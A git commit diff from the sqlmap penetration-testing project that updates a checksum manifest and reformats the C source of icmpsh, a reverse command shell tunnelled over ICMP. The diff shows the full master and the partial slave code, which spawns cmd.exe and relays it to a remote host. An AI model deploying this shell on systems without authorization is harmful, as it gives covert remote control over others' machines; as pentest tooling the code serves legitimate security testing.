Adding some better heuristics into the checkSums

This commit is contained in:
Miroslav Stampar 2026-01-29 00:07:24 +01:00
parent 360dc478c0
commit f7fb153fdd
10 changed files with 805 additions and 806 deletions

View file

@ -125,21 +125,21 @@ c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translatio
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/dbgtool/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/dbgtool/__init__.py
a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt
b7557edb216f65056d359cd48f3191a642cf3a1838a422a67ffbef17b58535d7 extra/icmpsh/icmpsh.exe_ b7557edb216f65056d359cd48f3191a642cf3a1838a422a67ffbef17b58535d7 extra/icmpsh/icmpsh.exe_
2fcce0028d9dd0acfaec497599d6445832abad8e397e727967c31c834d04d598 extra/icmpsh/icmpsh-m.c 4838389bf1ceac806dff075e06c5be9c0637425f37c67053a4361a5f1b88a65c extra/icmpsh/icmpsh-m.c
8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016 extra/icmpsh/icmpsh-m.pl 8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016 extra/icmpsh/icmpsh-m.pl
12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py 12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py
1589e5edeaf80590d4d0ce1fd12aa176730d5eba3bfd72a9f28d3a1a9353a9db extra/icmpsh/icmpsh-s.c 6359bfef76fb5c887bb89c2241f6d65647308856f8d3ce3e10bf3fdde605e120 extra/icmpsh/icmpsh-s.c
ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py
27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt 27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/__init__.py
191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt 191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt
53d98136e508330e3adad43e4a3b0ebc5143c79f0ee7bce5dacf92cb8f7a17fd extra/runcmd/runcmd.exe_ 53d98136e508330e3adad43e4a3b0ebc5143c79f0ee7bce5dacf92cb8f7a17fd extra/runcmd/runcmd.exe_
70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt 70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt
084aea8f337e1aed405a581603324ec01951eadcfd7b4eefaf3000b73f8b2e1e extra/runcmd/src/runcmd/runcmd.cpp baecf66c52fe3c39f7efa3a70f9d5bd6ea8f841abd8da9e6e11bdc80a995b3ae extra/runcmd/src/runcmd/runcmd.cpp
e5c02d18abf544eebd18bd789121eaee4d638bae687402feafdd6daec18e82a1 extra/runcmd/src/runcmd/runcmd.vcproj a24d2dc1a5a8688881bea6be358359626d339d4a93ea55e8b756615e3608b8dd extra/runcmd/src/runcmd/runcmd.vcproj
7c2a12c21b61f727a2b3c6e85bd098e7f8a8b585a74b5eb31eb676ac776d5d57 extra/runcmd/src/runcmd.sln 16d4453062ba3806fe6b62745757c66bf44748d25282263fe9ef362487b27db0 extra/runcmd/src/runcmd.sln
5e67c579a62715812a56731396d4cb432f16774a69f82629c6a3218174333605 extra/runcmd/src/runcmd/stdafx.cpp d4186cac6e736bdfe64db63aa00395a862b5fe5c78340870f0c79cae05a79e7d extra/runcmd/src/runcmd/stdafx.cpp
7bd768f3a742dcebddbe76de26eeee1438355d8600fb19dce945eef6486a3edb extra/runcmd/src/runcmd/stdafx.h e278d40d3121d757c2e1b8cc8192397e5014f663fbf6d80dd1118443d4fc9442 extra/runcmd/src/runcmd/stdafx.h
38f59734b971d1dc200584936693296aeebef3e43e9e85d6ec3fd6427e5d6b4b extra/shellcodeexec/linux/shellcodeexec.x32_ 38f59734b971d1dc200584936693296aeebef3e43e9e85d6ec3fd6427e5d6b4b extra/shellcodeexec/linux/shellcodeexec.x32_
b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17 extra/shellcodeexec/linux/shellcodeexec.x64_ b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17 extra/shellcodeexec/linux/shellcodeexec.x64_
cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad extra/shellcodeexec/README.txt cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad extra/shellcodeexec/README.txt
@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py
b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py
89b993f6f640baaf8ff27da0970963c3673e881552e2d142c1c30c4f7323e59d lib/core/common.py 90b2abd849a15f6b75bae6bf650aecf70e4f2fec4c01776a22a0c3474b7ab6f2 lib/core/common.py
a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py
a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py
c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio
48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
db148648a411e4136dc4fefe15651c726ea3f718c27b53e413c3b850fb229b79 lib/core/settings.py 1070a6f04c9fd65bfe323d5258f29d68804af178ab3a36702b8a3fd1f04a0239 lib/core/settings.py
cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py
bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py
d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py

View file

@ -1,134 +1,134 @@
/* /*
* icmpsh - simple icmp command shell * icmpsh - simple icmp command shell
* Copyright (c) 2010, Nico Leidecker <nico@leidecker.info> * Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
* This program is free software: you can redistribute it and/or modify * This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by * it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or * the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version. * (at your option) any later version.
* *
* This program is distributed in the hope that it will be useful, * This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of * but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details. * GNU General Public License for more details.
* *
* You should have received a copy of the GNU General Public License * You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>. * along with this program. If not, see <http://www.gnu.org/licenses/>.
*/ */
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <sys/types.h> #include <sys/types.h>
#include <sys/socket.h> #include <sys/socket.h>
#include <sys/stat.h> #include <sys/stat.h>
#include <netinet/in.h> #include <netinet/in.h>
#include <netinet/ip_icmp.h> #include <netinet/ip_icmp.h>
#include <netinet/ip.h> #include <netinet/ip.h>
#include <string.h> #include <string.h>
#include <unistd.h> #include <unistd.h>
#include <fcntl.h> #include <fcntl.h>
#define IN_BUF_SIZE 1024 #define IN_BUF_SIZE 1024
#define OUT_BUF_SIZE 64 #define OUT_BUF_SIZE 64
// calculate checksum // calculate checksum
unsigned short checksum(unsigned short *ptr, int nbytes) unsigned short checksum(unsigned short *ptr, int nbytes)
{ {
unsigned long sum; unsigned long sum;
unsigned short oddbyte, rs; unsigned short oddbyte, rs;
sum = 0; sum = 0;
while(nbytes > 1) { while(nbytes > 1) {
sum += *ptr++; sum += *ptr++;
nbytes -= 2; nbytes -= 2;
} }
if(nbytes == 1) { if(nbytes == 1) {
oddbyte = 0; oddbyte = 0;
*((unsigned char *) &oddbyte) = *(u_char *)ptr; *((unsigned char *) &oddbyte) = *(u_char *)ptr;
sum += oddbyte; sum += oddbyte;
} }
sum = (sum >> 16) + (sum & 0xffff); sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16); sum += (sum >> 16);
rs = ~sum; rs = ~sum;
return rs; return rs;
} }
int main(int argc, char **argv) int main(int argc, char **argv)
{ {
int sockfd; int sockfd;
int flags; int flags;
char in_buf[IN_BUF_SIZE]; char in_buf[IN_BUF_SIZE];
char out_buf[OUT_BUF_SIZE]; char out_buf[OUT_BUF_SIZE];
unsigned int out_size; unsigned int out_size;
int nbytes; int nbytes;
struct iphdr *ip; struct iphdr *ip;
struct icmphdr *icmp; struct icmphdr *icmp;
char *data; char *data;
struct sockaddr_in addr; struct sockaddr_in addr;
printf("icmpsh - master\n"); printf("icmpsh - master\n");
// create raw ICMP socket // create raw ICMP socket
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sockfd == -1) { if (sockfd == -1) {
perror("socket"); perror("socket");
return -1; return -1;
} }
// set stdin to non-blocking // set stdin to non-blocking
flags = fcntl(0, F_GETFL, 0); flags = fcntl(0, F_GETFL, 0);
flags |= O_NONBLOCK; flags |= O_NONBLOCK;
fcntl(0, F_SETFL, flags); fcntl(0, F_SETFL, flags);
printf("running...\n"); printf("running...\n");
while(1) { while(1) {
// read data from socket // read data from socket
memset(in_buf, 0x00, IN_BUF_SIZE); memset(in_buf, 0x00, IN_BUF_SIZE);
nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
if (nbytes > 0) { if (nbytes > 0) {
// get ip and icmp header and data part // get ip and icmp header and data part
ip = (struct iphdr *) in_buf; ip = (struct iphdr *) in_buf;
if (nbytes > sizeof(struct iphdr)) { if (nbytes > sizeof(struct iphdr)) {
nbytes -= sizeof(struct iphdr); nbytes -= sizeof(struct iphdr);
icmp = (struct icmphdr *) (ip + 1); icmp = (struct icmphdr *) (ip + 1);
if (nbytes > sizeof(struct icmphdr)) { if (nbytes > sizeof(struct icmphdr)) {
nbytes -= sizeof(struct icmphdr); nbytes -= sizeof(struct icmphdr);
data = (char *) (icmp + 1); data = (char *) (icmp + 1);
data[nbytes] = '\0'; data[nbytes] = '\0';
printf("%s", data); printf("%s", data);
fflush(stdout); fflush(stdout);
} }
// reuse headers // reuse headers
icmp->type = 0; icmp->type = 0;
addr.sin_family = AF_INET; addr.sin_family = AF_INET;
addr.sin_addr.s_addr = ip->saddr; addr.sin_addr.s_addr = ip->saddr;
// read data from stdin // read data from stdin
nbytes = read(0, out_buf, OUT_BUF_SIZE); nbytes = read(0, out_buf, OUT_BUF_SIZE);
if (nbytes > -1) { if (nbytes > -1) {
memcpy((char *) (icmp + 1), out_buf, nbytes); memcpy((char *) (icmp + 1), out_buf, nbytes);
out_size = nbytes; out_size = nbytes;
} else { } else {
out_size = 0; out_size = 0;
} }
icmp->checksum = 0x00; icmp->checksum = 0x00;
icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
// send reply // send reply
nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
if (nbytes == -1) { if (nbytes == -1) {
perror("sendto"); perror("sendto");
return -1; return -1;
} }
} }
} }
} }
return 0; return 0;
} }

View file

@ -1,344 +1,344 @@
/* /*
* icmpsh - simple icmp command shell * icmpsh - simple icmp command shell
* Copyright (c) 2010, Nico Leidecker <nico@leidecker.info> * Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
* This program is free software: you can redistribute it and/or modify * This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by * it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or * the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version. * (at your option) any later version.
* *
* This program is distributed in the hope that it will be useful, * This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of * but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details. * GNU General Public License for more details.
* *
* You should have received a copy of the GNU General Public License * You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>. * along with this program. If not, see <http://www.gnu.org/licenses/>.
*/ */
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <winsock2.h> #include <winsock2.h>
#include <windows.h> #include <windows.h>
#include <winsock2.h> #include <winsock2.h>
#include <iphlpapi.h> #include <iphlpapi.h>
#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) #define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
#define STATUS_OK 0 #define STATUS_OK 0
#define STATUS_SINGLE 1 #define STATUS_SINGLE 1
#define STATUS_PROCESS_NOT_CREATED 2 #define STATUS_PROCESS_NOT_CREATED 2
#define TRANSFER_SUCCESS 1 #define TRANSFER_SUCCESS 1
#define TRANSFER_FAILURE 0 #define TRANSFER_FAILURE 0
#define DEFAULT_TIMEOUT 3000 #define DEFAULT_TIMEOUT 3000
#define DEFAULT_DELAY 200 #define DEFAULT_DELAY 200
#define DEFAULT_MAX_BLANKS 10 #define DEFAULT_MAX_BLANKS 10
#define DEFAULT_MAX_DATA_SIZE 64 #define DEFAULT_MAX_DATA_SIZE 64
FARPROC icmp_create, icmp_send, to_ip; FARPROC icmp_create, icmp_send, to_ip;
int verbose = 0; int verbose = 0;
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
{ {
SECURITY_ATTRIBUTES sattr; SECURITY_ATTRIBUTES sattr;
STARTUPINFOA si; STARTUPINFOA si;
HANDLE in_read, out_write; HANDLE in_read, out_write;
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
// create communication pipes // create communication pipes
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
sattr.nLength = sizeof(SECURITY_ATTRIBUTES); sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
sattr.bInheritHandle = TRUE; sattr.bInheritHandle = TRUE;
sattr.lpSecurityDescriptor = NULL; sattr.lpSecurityDescriptor = NULL;
if (!CreatePipe(out_read, &out_write, &sattr, 0)) { if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED; return STATUS_PROCESS_NOT_CREATED;
} }
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
return STATUS_PROCESS_NOT_CREATED; return STATUS_PROCESS_NOT_CREATED;
} }
if (!CreatePipe(&in_read, in_write, &sattr, 0)) { if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED; return STATUS_PROCESS_NOT_CREATED;
} }
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
return STATUS_PROCESS_NOT_CREATED; return STATUS_PROCESS_NOT_CREATED;
} }
// spawn process // spawn process
memset(&si, 0x00, sizeof(STARTUPINFO)); memset(&si, 0x00, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO); si.cb = sizeof(STARTUPINFO);
si.hStdError = out_write; si.hStdError = out_write;
si.hStdOutput = out_write; si.hStdOutput = out_write;
si.hStdInput = in_read; si.hStdInput = in_read;
si.dwFlags |= STARTF_USESTDHANDLES; si.dwFlags |= STARTF_USESTDHANDLES;
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
return STATUS_PROCESS_NOT_CREATED; return STATUS_PROCESS_NOT_CREATED;
} }
CloseHandle(out_write); CloseHandle(out_write);
CloseHandle(in_read); CloseHandle(in_read);
return STATUS_OK; return STATUS_OK;
} }
void usage(char *path) void usage(char *path)
{ {
printf("%s [options] -t target\n", path); printf("%s [options] -t target\n", path);
printf("options:\n"); printf("options:\n");
printf(" -t host host ip address to send ping requests to\n"); printf(" -t host host ip address to send ping requests to\n");
printf(" -r send a single test icmp request and then quit\n"); printf(" -r send a single test icmp request and then quit\n");
printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
printf(" -o milliseconds timeout in milliseconds\n"); printf(" -o milliseconds timeout in milliseconds\n");
printf(" -h this screen\n"); printf(" -h this screen\n");
printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
printf(" before quitting\n"); printf(" before quitting\n");
printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE); printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
printf("In order to improve the speed, lower the delay (-d) between requests or\n"); printf("In order to improve the speed, lower the delay (-d) between requests or\n");
printf("increase the size (-s) of the data buffer\n"); printf("increase the size (-s) of the data buffer\n");
} }
void create_icmp_channel(HANDLE *icmp_chan) void create_icmp_channel(HANDLE *icmp_chan)
{ {
// create icmp file // create icmp file
*icmp_chan = (HANDLE) icmp_create(); *icmp_chan = (HANDLE) icmp_create();
} }
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
{ {
int rs; int rs;
char *temp_in_buf; char *temp_in_buf;
int nbytes; int nbytes;
PICMP_ECHO_REPLY echo_reply; PICMP_ECHO_REPLY echo_reply;
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
if (!temp_in_buf) { if (!temp_in_buf) {
return TRANSFER_FAILURE; return TRANSFER_FAILURE;
} }
// send data to remote host // send data to remote host
rs = icmp_send( rs = icmp_send(
icmp_chan, icmp_chan,
target, target,
out_buf, out_buf,
out_buf_size, out_buf_size,
NULL, NULL,
temp_in_buf, temp_in_buf,
max_in_data_size + ICMP_HEADERS_SIZE, max_in_data_size + ICMP_HEADERS_SIZE,
timeout); timeout);
// check received data // check received data
if (rs > 0) { if (rs > 0) {
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
if (echo_reply->DataSize > max_in_data_size) { if (echo_reply->DataSize > max_in_data_size) {
nbytes = max_in_data_size; nbytes = max_in_data_size;
} else { } else {
nbytes = echo_reply->DataSize; nbytes = echo_reply->DataSize;
} }
memcpy(in_buf, echo_reply->Data, nbytes); memcpy(in_buf, echo_reply->Data, nbytes);
*in_buf_size = nbytes; *in_buf_size = nbytes;
free(temp_in_buf); free(temp_in_buf);
return TRANSFER_SUCCESS; return TRANSFER_SUCCESS;
} }
free(temp_in_buf); free(temp_in_buf);
return TRANSFER_FAILURE; return TRANSFER_FAILURE;
} }
int load_deps() int load_deps()
{ {
HMODULE lib; HMODULE lib;
lib = LoadLibraryA("ws2_32.dll"); lib = LoadLibraryA("ws2_32.dll");
if (lib != NULL) { if (lib != NULL) {
to_ip = GetProcAddress(lib, "inet_addr"); to_ip = GetProcAddress(lib, "inet_addr");
if (!to_ip) { if (!to_ip) {
return 0; return 0;
} }
} }
lib = LoadLibraryA("iphlpapi.dll"); lib = LoadLibraryA("iphlpapi.dll");
if (lib != NULL) { if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile"); icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho"); icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) { if (icmp_create && icmp_send) {
return 1; return 1;
} }
} }
lib = LoadLibraryA("ICMP.DLL"); lib = LoadLibraryA("ICMP.DLL");
if (lib != NULL) { if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile"); icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho"); icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) { if (icmp_create && icmp_send) {
return 1; return 1;
} }
} }
printf("failed to load functions (%u)", GetLastError()); printf("failed to load functions (%u)", GetLastError());
return 0; return 0;
} }
int main(int argc, char **argv) int main(int argc, char **argv)
{ {
int opt; int opt;
char *target; char *target;
unsigned int delay, timeout; unsigned int delay, timeout;
unsigned int ip_addr; unsigned int ip_addr;
HANDLE pipe_read, pipe_write; HANDLE pipe_read, pipe_write;
HANDLE icmp_chan; HANDLE icmp_chan;
unsigned char *in_buf, *out_buf; unsigned char *in_buf, *out_buf;
unsigned int in_buf_size, out_buf_size; unsigned int in_buf_size, out_buf_size;
DWORD rs; DWORD rs;
int blanks, max_blanks; int blanks, max_blanks;
PROCESS_INFORMATION pi; PROCESS_INFORMATION pi;
int status; int status;
unsigned int max_data_size; unsigned int max_data_size;
// set defaults // set defaults
target = 0; target = 0;
timeout = DEFAULT_TIMEOUT; timeout = DEFAULT_TIMEOUT;
delay = DEFAULT_DELAY; delay = DEFAULT_DELAY;
max_blanks = DEFAULT_MAX_BLANKS; max_blanks = DEFAULT_MAX_BLANKS;
max_data_size = DEFAULT_MAX_DATA_SIZE; max_data_size = DEFAULT_MAX_DATA_SIZE;
status = STATUS_OK; status = STATUS_OK;
if (!load_deps()) { if (!load_deps()) {
printf("failed to load ICMP library\n"); printf("failed to load ICMP library\n");
return -1; return -1;
} }
// parse command line options // parse command line options
for (opt = 1; opt < argc; opt++) { for (opt = 1; opt < argc; opt++) {
if (argv[opt][0] == '-') { if (argv[opt][0] == '-') {
switch(argv[opt][1]) { switch(argv[opt][1]) {
case 'h': case 'h':
usage(*argv); usage(*argv);
return 0; return 0;
case 't': case 't':
if (opt + 1 < argc) { if (opt + 1 < argc) {
target = argv[opt + 1]; target = argv[opt + 1];
} }
break; break;
case 'd': case 'd':
if (opt + 1 < argc) { if (opt + 1 < argc) {
delay = atol(argv[opt + 1]); delay = atol(argv[opt + 1]);
} }
break; break;
case 'o': case 'o':
if (opt + 1 < argc) { if (opt + 1 < argc) {
timeout = atol(argv[opt + 1]); timeout = atol(argv[opt + 1]);
} }
break; break;
case 'r': case 'r':
status = STATUS_SINGLE; status = STATUS_SINGLE;
break; break;
case 'b': case 'b':
if (opt + 1 < argc) { if (opt + 1 < argc) {
max_blanks = atol(argv[opt + 1]); max_blanks = atol(argv[opt + 1]);
} }
break; break;
case 's': case 's':
if (opt + 1 < argc) { if (opt + 1 < argc) {
max_data_size = atol(argv[opt + 1]); max_data_size = atol(argv[opt + 1]);
} }
break; break;
default: default:
printf("unrecognized option -%c\n", argv[1][0]); printf("unrecognized option -%c\n", argv[1][0]);
usage(*argv); usage(*argv);
return -1; return -1;
} }
} }
} }
if (!target) { if (!target) {
printf("you need to specify a host with -t. Try -h for more options\n"); printf("you need to specify a host with -t. Try -h for more options\n");
return -1; return -1;
} }
ip_addr = to_ip(target); ip_addr = to_ip(target);
// don't spawn a shell if we're only sending a single test request // don't spawn a shell if we're only sending a single test request
if (status != STATUS_SINGLE) { if (status != STATUS_SINGLE) {
status = spawn_shell(&pi, &pipe_read, &pipe_write); status = spawn_shell(&pi, &pipe_read, &pipe_write);
} }
// create icmp channel // create icmp channel
create_icmp_channel(&icmp_chan); create_icmp_channel(&icmp_chan);
if (icmp_chan == INVALID_HANDLE_VALUE) { if (icmp_chan == INVALID_HANDLE_VALUE) {
printf("unable to create ICMP file: %u\n", GetLastError()); printf("unable to create ICMP file: %u\n", GetLastError());
return -1; return -1;
} }
// allocate transfer buffers // allocate transfer buffers
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
if (!in_buf || !out_buf) { if (!in_buf || !out_buf) {
printf("failed to allocate memory for transfer buffers\n"); printf("failed to allocate memory for transfer buffers\n");
return -1; return -1;
} }
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
// sending/receiving loop // sending/receiving loop
blanks = 0; blanks = 0;
do { do {
switch(status) { switch(status) {
case STATUS_SINGLE: case STATUS_SINGLE:
// reply with a static string // reply with a static string
out_buf_size = sprintf(out_buf, "Test1234\n"); out_buf_size = sprintf(out_buf, "Test1234\n");
break; break;
case STATUS_PROCESS_NOT_CREATED: case STATUS_PROCESS_NOT_CREATED:
// reply with error message // reply with error message
out_buf_size = sprintf(out_buf, "Process was not created\n"); out_buf_size = sprintf(out_buf, "Process was not created\n");
break; break;
default: default:
// read data from process via pipe // read data from process via pipe
out_buf_size = 0; out_buf_size = 0;
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
if (out_buf_size > 0) { if (out_buf_size > 0) {
out_buf_size = 0; out_buf_size = 0;
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
if (!rs && GetLastError() != ERROR_IO_PENDING) { if (!rs && GetLastError() != ERROR_IO_PENDING) {
